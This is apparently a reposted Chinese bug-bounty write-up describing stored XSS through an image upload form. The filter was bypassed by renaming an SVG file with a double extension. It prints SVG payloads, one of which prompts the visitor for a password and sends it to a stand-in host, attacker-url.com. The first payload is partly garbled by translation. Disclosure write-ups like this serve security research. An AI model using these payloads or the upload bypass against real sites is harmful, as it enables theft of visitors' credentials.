赏金猎人| 我利用文件上传功能利用存储型XSS漏洞导致网站访问者凭证被盗,并因此获得了1000美元的赏金。
赏金猎人| 我利用文件上传功能利用存储型XSS漏洞导致网站访问者凭证被盗,并因此获得了1000美元的赏金。
原创 NightTeam 夜组科技圈 2025-02-12 00:06
公众号现在只对常读和星标的才展示大图推送,
建议大家把
夜组科技圈
设为
星标
,接收一手资讯!
各位网络安全研究人员和漏洞猎人,大家好,我时隔很久才发布一篇文章。最近我有点忙,因为我要兼顾大学学业,还要学习一些红队技能。
今天我决定发布一篇关于文件上传漏洞的文章,该漏洞会导致存储型XSS,随后受害者的凭据被盗,受害者会获得文件上传的URL。我认为,如今,Bug Hunter更注重寻找业务逻辑漏洞,而不是XSS、SQLI等技术漏洞……因为Web应用程序的安全性得到了提高。然而,你仍然可以找到技术漏洞,比如文件上传,我将在我的文章中进一步讨论。
1、使用提供的凭据登录到 Web 应用程序。
2、做了一些手动枚举:
3、应用程序有很多 Web 表单:
4)如您所见,此表单有各种文本字段,尝试通过手动模糊测试表单来查找诸如sqli,xss,ssti之类的漏洞,但没有成功。
徽标、背景图片和广告图片引起了我的注意,我决定上传一些恶意制作的文件并检查会发生什么。
5)上传此文件并在上传时产生此错误:
6)我如何绕过这个问题:
将我的文件名重命名为
“Fileupload.svg” 改为 “Fileupload.svg.png”
7)现在我单击“下一步”,并被重定向到可以访问这些文件的端点。
点击“查看图片”,然后轰隆隆!
Svg 文件有效载荷已上传至此处:
<?xml 版本=”1.0" standalone=”no”?><!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg 版本=”1.1" baseProfile=”full” xmlns=”http://www.w3.org/2000/svg"><多边形id =“三角形”点=”0,0 0,50 50,0“填充=”#009901“描边=”#004400“/><script type=”text/javascript”>警报(document.cookie);</script></svg>
将上述有效负载修改为以下形式,以窃取凭证:
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script> var passwd = prompt("输入您的密码以继续"); var xhr = new XMLHttpRequest(); xhr.open("GET","https://attacker-url.com/log.php?password="+encodeURI(passwd)); xhr.send(); </script> </svg>
9)再次上传修改后的payload文件:
10)访问时间:
上传后按下一步按钮并访问这些。
11)我查看了绿色 svg 图像,网页开始响应并提示我输入随机密码。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里